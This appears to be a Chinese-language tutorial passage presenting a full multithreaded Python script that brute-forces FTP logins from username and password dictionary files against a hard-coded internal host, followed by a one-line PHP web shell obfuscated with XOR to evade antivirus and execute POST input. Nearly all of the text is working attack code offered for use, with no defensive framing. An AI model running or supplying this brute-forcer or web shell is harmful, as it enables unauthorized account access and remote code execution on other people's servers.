Python 开发-利用 FTP 模块实现协议爆破脚本
1.ftplib 模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断
代码:
#导入ftplib库用于连接ftp
import ftplib
#导入threading库用于多线程
import threading
#导入queue库,用来传递参数
import queue
#导入sys库用于cmd窗口时输入参数
import sys
#利用Python开发其他协议爆破脚本
def ftp_check():
#如果queue对象中有参数就循环执行
while not q.empty():
#获取queue传递的参数赋值给变量保存
dict=q.get()
#将字符串分割,提取出用户名和密码赋值给变量-
dict=dict.split('|')
username=dict[0]
password=dict[1]
#实例化一个ftp对象
ftp=ftplib.FTP()
try:
#尝试连接ftp
ftp.connect('192.168.2.137', 21)
#登陆
ftp.login(username,password)
#打印列表信息
print(ftp.retrlines('list'))
#关闭ftp
ftp.close()
print('success|'+username+'|'+password)
#当连接失败时,进入except方法
except ftplib.all_errors:
print('failed|'+username+'|'+password)
#关闭ftp
ftp.close()
pass
if __name__ == '__main__':
print("python ftp_burte.py user.txt pass.txt 10")
#设置cmd窗口处输入参数
user_file=sys.argv[1]
pass_file = sys.argv[2]
thread_x=sys.argv[3]
#实例化一个queue对象
q=queue.Queue()
#循环从字典文件中取出用户名及密码
for username in open(user_file):
for password in open(pass_file):
username = username.strip('\n')
password = password.strip('\n')
diclist=username+'|'+password
#通过queue对象传递参数,将用户名密码组合的字符串传递
q.put(diclist)
#通过循环来创建多个子进程
for x in range(int(thread_x)):
#创建子进程
t=threading.Thread(target=ftp_check)
#执行子进程
t.start()
异或一句话免杀php
<?php $a= ("!"^"@").'ssert';$a($_POST[x]);?>